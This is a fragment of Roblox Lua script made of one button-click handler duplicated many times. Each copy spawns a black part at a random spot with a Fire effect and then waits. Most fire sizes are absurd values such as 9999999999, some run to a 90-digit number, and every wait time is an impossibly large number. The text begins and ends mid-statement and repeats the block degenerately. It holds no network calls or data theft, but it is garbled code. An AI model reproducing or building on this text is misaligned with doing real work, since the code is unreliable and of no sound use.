Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") 